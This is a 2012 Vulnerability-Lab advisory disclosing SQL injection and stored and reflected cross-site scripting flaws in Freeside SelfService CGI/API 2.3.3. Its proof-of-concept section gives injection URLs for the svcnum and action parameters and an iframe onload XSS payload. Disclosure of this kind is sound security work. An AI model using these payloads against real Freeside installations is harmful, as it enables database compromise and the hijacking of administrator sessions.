Title: ====== Freeside SelfService CGI|API 2.3.3 - Multiple Vulnerabilities Date: ===== 2012-06-14 References: =========== http://www.vulnerability-lab.com/get_content.php?id=614 VL-ID: ===== 614 Common Vulnerability Scoring System: ==================================== 6.5 Introduction: ============= Billing, ticketing, reporting and configuration for employees and resellers The majority of Freeside s functionality is accessed from here. The back office interface includes searching and viewing of customers, invoices, trouble tickets and services, as well as reporting, configuration, per-user access control, resellser virtualization and more. (Copy of the Vendor Homepage: http://freeside.biz/freeside ) Abstract: ========= The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in Freesides SelfService CGI|API v2.3.3 git. Report-Timeline: ================ 2012-06-14: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== Freeside Product: SelfService CGI|API v2.3.3 Exploitation-Technique: ======================= Remote Severity: ========= High Details: ======== 1.1 Multiple SQL Injection vulnerabilities are detected in Freesides SelfService CGI|API v2.3.3. The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on the affected application dbms without user inter action. The vulnerability is located in the selfservice.cgi and the bound parameters action & svcnum. Successful exploitation of the vulnerability results in dbms & application compromise. Vulnerable Module(s): [+] View my usage - Service usage details Vulnerable File(s): [+] selfservice.cgi Vulnerable File(s): [+] svcnum [+] action 1.2 Multiple persistent input validation vulnerabilities are detected in Freesides SelfService CGI|API v2.3.3. The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). The persistent vulnerabilities are located in the cust_main.cgi, part_pkg.cgi, part_event.html or part_device.html with the bound parameters company address, package comment, event- & device name. Exploitation requires low user inter action & privileged application user account. Successful exploitation of the vulnerability can lead to session hijacking (admin) or stable (persistent) context manipulation. Vulnerable Files(s): [+] ../edit/cust_main.cgi?426 [+] ../edit/part_pkg.cgi?4 [+] ../browse/part_event.html [+] ../browse/part_device.html Vulnerable Module(s): [+] [Company] [Address] [+] [Package] [Comment] [+] [Event Name] [+] [Device Name] 1.3 Multiple non persistent cross site scripting vulnerabilities are detected in Freesides SelfService CGI|API v2.3.3. The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required user inter action or local low privileged user account. The vulnerabilities are located in the selfservice.cgi file with the vulnerable bound parameters pkg, pkgnum, beginning & end. Successful exploitation can result in account steal, phishing & client-side content request manipulation. Vulnerable Module(s): [+] Change User Details [+] Change Package Vulnerable File(s): [+] selfservice.cgi Vulnerable Parameter(s): [+] pkg & pkgnum [+] end & beginning Proof of Concept: ================= 1.1 The sql injection vulnerability can be exploited by remote attackers without privileged user account or user inter action. For demonstration or reproduce ... PoC: ../selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details;svcnum=-1'[SQL-INJECTION];beginning=0;ending=0 ../selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details[SQL-INJECTION];svcnum=X;beginning=0;ending=0 > "SELECT * FROM svc_acct WHERE svcnum = ?": LINE 1: SELECT * FROM svc_acct WHERE svcnum = $1 Note: First get a alive session, exchange it with the expired of the poc and then try to access the url to inject your sql commands. 1.2 The persistent input validation vulnerabilities can be exploited by remote attackers with low required user inter action. For demonstration or reproduce ... Example: The attacker create/edit an account and inject a malicious script code i.e., <iframe src=www.vuln-lab.com onload=alert("VL")></iframe> in the vulnerable fields which are Company and Address. This bug is very dangerous because once the admin enters the admin area he will see the page of users. The code that we injected will be executed out of the main page context of the admin.
